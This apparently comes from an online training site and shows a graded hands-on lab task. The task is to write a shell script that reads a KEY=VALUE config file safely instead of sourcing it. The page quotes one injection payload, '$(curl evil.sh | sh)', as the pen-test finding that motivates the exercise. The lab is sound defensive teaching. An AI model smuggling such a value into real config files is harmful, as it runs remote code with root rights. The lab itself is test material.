59/60
Sign inSign up free

769. Load a Config File Without Running It

hard 40 XP ~14 minHands-on lab

The deploy scripts do source /etc/app/app.env to read their settings. That file is edited through a web form, and a pen test showed that a value like $(curl evil.sh | sh) runs as root.

Write /home/student/bin/load-config.sh FILE that reads such a file without executing anything in it.

Task

For every setting in FILE, print KEY=VALUE, one per line, sorted by key. Rules:

  • Lines that are empty or start with # (after optional spaces) are ignored.
  • A setting is KEY=VALUE. Spaces around KEY and around the = are allowed and dropped; the value is everything after the first =, with spaces at both ends removed.
  • If the value is wrapped in a matching pair of " or ', remove that pair (only the outer one).
  • KEY must match [A-Za-z_][A-Za-z0-9_]*. A line with an invalid key, or without =, is skipped with a warning on stderr containing its line number (line N).
  • When a key appears twice, the last value wins.
  • Text like $(…), backticks or $VAR is printed as is, never expanded or run.

About this machine

Ubuntu 24.04 with no internet access. You are student with passwordless sudo. The grader checks the final state of the machine, not the commands you typed. Values like names and ports are generated for you.

Teaching or writing about this? Embed this lab on your page

TerminalNot started

Your machine is ready to start

A fresh, isolated Ubuntu machine boots in a few seconds with the task already set up.

No account needed: 3 of 3 free tries left. Guest machines last 30 minutes.